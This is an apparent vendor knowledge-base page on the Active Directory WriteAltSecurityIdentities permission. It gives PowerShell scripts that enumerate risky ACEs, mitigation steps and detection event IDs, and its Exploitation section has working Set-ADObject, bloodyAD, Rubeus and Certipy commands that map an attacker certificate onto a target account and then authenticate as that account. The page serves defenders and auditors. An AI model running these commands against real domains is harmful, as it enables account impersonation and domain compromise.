WriteAltSecurityIdentities
Summary
| Forestall ACL Alias | WriteAltSecurityIdentities |
| AD Alias | Write Alt-Security-Identities |
| Affected Object Types | Users, Computers, Managed Service Accounts |
| Exploitation Certainty | Likely |
| AD Attribute | altSecurityIdentities |
| AD Right | WriteProperty |
| AD Permission Guid | 00fbf30c-91fe-11d1-aebc-0000f80367c1 |
Description
The WriteAltSecurityIdentities permission allows an account to create, update, or remove values in the altSecurityIdentities attribute on Active Directory authentication principals. This attribute stores explicit certificate mappings that tell domain controllers which X.509 certificates can authenticate as the target account.
Explicit mappings are commonly used for certificate based authentication through Kerberos PKINIT or Schannel. They must be tightly controlled because a new mapping can make a certificate controlled by another principal valid for the target account.
Risk
An attacker with WriteAltSecurityIdentities over a target object can add a mapping for a certificate they control and then authenticate as that target. If the target is privileged, a computer, or a managed service account with valuable access, this can lead to privilege escalation, persistence, credential access, and domain compromise.
The risk is higher when weak explicit mapping formats are used. Strong mappings bind to certificate specific values such as issuer and serial number, Subject Key Identifier, or SHA1 public key hash. Weak mappings such as X509:<RFC822>, X509:<S>, and X509:<I>...<S> rely on reusable certificate fields like e-mail address or subject name.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate WriteAltSecurityIdentities entries.
1. Find-WriteAltSecurityIdentities function
function Find-WriteAltSecurityIdentities { [CmdletBinding()] param( [string]$SearchBase = $null, [string]$OutputPath = "WriteAltSecurityIdentities.csv", [string]$Target = $null )
try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }
$allow = [System.Security.AccessControl.AccessControlType]::Allow $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty $altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1" $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
$ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter } $adParams = @{ LDAPFilter = $ldapFilter ErrorAction = "Stop" } if ($SearchBase) { $adParams.SearchBase = $SearchBase }
try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return } if (-not $objects) { Write-Output "No matching objects found."; return }
$rows = foreach ($object in $objects) { try { foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) { if ( $ace.AccessControlType -eq $allow -and (($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and $ace.ObjectType -eq $altSecurityIdentitiesGuid -and -not $ace.IsInherited ) { [pscustomobject]@{ ObjectDN = $object.DistinguishedName PermissionHolder = $ace.IdentityReference.Value } } } } catch { Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)" } }
if ($rows) { $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "Exported results to '$OutputPath'." } else { Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities." }}2. Scan all supported domain principals
Find-WriteAltSecurityIdentities3. Scan a specific account
Find-WriteAltSecurityIdentities -Target "_admin"4. Using SearchBase to limit the searching scope
Find-WriteAltSecurityIdentities -SearchBase "CN=Users,DC=Forestall,DC=Labs".NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteAltSecurityIdentities entries without relying on external modules.
1. Find-WriteAltSecurityIdentitiesSimple function
function Find-WriteAltSecurityIdentitiesSimple { [CmdletBinding()] param( [string]$Target, [string]$OutputPath = "WriteAltSecurityIdentities.csv" )
$altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1" $allow = [System.Security.AccessControl.AccessControlType]::Allow $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
if ($Target) { try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return } } else { try { $baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext $searchRoot = [ADSI]"LDAP://$baseDN" $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot) $searcher.Filter = $principalFilter $searcher.PageSize = 1000 [void]$searcher.PropertiesToLoad.Add("distinguishedName") $entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } } } catch { Write-Error "LDAP enumeration failed: $_" return } }
$rows = foreach ($entry in $entries) { try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue } foreach ($ace in $aces) { if ($ace.AccessControlType -ne $allow) { continue } if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue } if ($ace.ObjectType -ne $altSecurityIdentitiesGuid) { continue } if ($ace.IsInherited) { continue }
$holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value } [pscustomobject]@{ ObjectDN = $entry.Properties["distinguishedName"][0] PermissionHolder = $holder } } }
if ($rows) { $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "Exported results to '$OutputPath'." } else { Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities." }}2. Scan all supported domain principals
Find-WriteAltSecurityIdentitiesSimple3. Scan a specific account
Find-WriteAltSecurityIdentitiesSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"Active Directory Users and Computers
1. Open Active Directory Users and Computers on your Windows server, and activate the Advanced Features option.
2. Right-click the affected object.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
5. Click the Advanced button to open the Advanced Security Settings dialog.
6. Select the relevant Access Control Entry (ACE).
7. Click Edit to modify the selected ACE.
8. In the permissions list, locate and check the Write altSecurityIdentities option.
9. Click OK and Apply to save changes.

Write altSecurityIdentities permission
Exploitation
Windows
An attacker first obtains a certificate they control. Then they write an explicit mapping to the target account so the certificate is accepted as that target.
Set-ADObject -Identity <targetDN> -Add @{'altSecurityIdentities'='X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'}After the mapping is added, the attacker can request a TGT as the target by using the mapped certificate.
.\Rubeus.exe asktgt /user:<targetaccount> /certificate:attacker.pfx /password:<pfxpassword> /domain:forestall.labs /dc:FSDC01.forestall.labs /nowrapLinux
On Linux, the mapping can be written with bloodyAD by using an account that holds the WriteAltSecurityIdentities permission.
bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object <targetuser> altSecurityIdentities -v 'X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'The attacker can then authenticate with the certificate using Certipy.
certipy auth -pfx attacker.pfx -username <targetuser> -domain forestall.labs -dc-ip <dc-ip>Mitigation
Access Control Entries identified as dangerous should be removed by following the steps below.
1. Open Active Directory Users and Computers, and activate the Advanced Features option.
2. Double-click the affected object and open the Security tab.
3. Click the Advanced button and open the dangerous Access Control Entry.
4. Remove the Write altSecurityIdentities permission.
5. Click OK and Apply to save changes.

Remove Write altSecurityIdentities permission
Review existing altSecurityIdentities values on privileged users, computers, and managed service accounts. Remove mappings that are no longer required, and replace weak mappings such as X509:<RFC822>, X509:<S>, and X509:<I>...<S> with strong mappings such as X509:<SKI>, X509:<SR>, or X509:<SHA1-PUKEY> where explicit mapping is required.
Detection
Changes to the altSecurityIdentities attribute and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:
| Event ID | Description | Fields/Attributes | References |
|---|---|---|---|
| 5136 | A directory service object was modified. | AttributeLDAPDisplayName should equal altSecurityIdentities. | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 |
| 4662 | An operation was performed on an object. | AccessMask, Properties, and ObjectType for WriteProperty activity. | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 |
| 4768 | A Kerberos authentication ticket was requested. | CertIssuerName, CertSerialNumber, CertThumbprint when certificate fields are logged. | https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 |